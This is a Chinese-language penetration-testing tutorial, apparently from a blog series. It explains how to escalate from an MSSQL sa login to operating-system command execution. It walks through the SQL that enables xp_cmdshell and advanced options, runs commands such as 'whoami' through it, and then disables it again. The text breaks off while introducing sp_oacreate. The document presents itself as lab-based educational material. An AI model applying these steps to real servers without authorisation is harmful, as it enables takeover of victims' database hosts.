系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
如果获得MSSQL用户密码如何拿到对方服务器权限呢?接下来将把提权技巧告诉大家!
二、MSSQL-xp_cmdshell进行提权
1、简介
xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权在这里以Windows Server 2019 和 Sql Server 2019 为例进行测试!
2、查看xp_cmdshell状态
1)首先通过管理工具来查看xp_cmdshell状态
右击实例名-> Facets(A)
2)可以看到现在的xp_cmdshell是关闭状态
3)然后我们通过sql指令来查看是否存在xp_cmdshell
右击数据库,新建查询,执行以下命令:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
可以看到返回结果是1
3、开启xp_cmdshell
1)命令如下:
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO
可以看到报错提示xp_cmdshell不存在也可能是高级选项,前面已经通过命令查询存在xp_cmdshell组件,那只可能是高级选项!
2)通过命令开启允许编辑高级选项,命令如下
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
3)然后再去开启xp_cmdshell
配置选项 ‘xp_cmdshell’ 已从 0 更改为 1!!
4、通过xp_cmdshell执行系统命令
通过xp_cmdshell执行系统命令指令如下
master..xp_cmdshell 'whoami'
EXEC master.dbo.xp_cmdshell 'ipconfig'
返回的权限是network server,如果被降权那就无法完成提权。
5、关闭xp_cmdshell
1)和刚才一样,只不过需要把1改为0
EXEC sp_configure 'xp_cmdshell', 0
GO
RECONFIGURE
GO
2)同样,关闭高级选项编辑也是
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
三、MSSQL-使用sp_oacreate进行提权
1、前言
如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使用sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令。sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。
2、前提条件
来源:freebuf.com 2021-07-09 15:38:52 by: dayuxiyou
请登录后发表评论
注册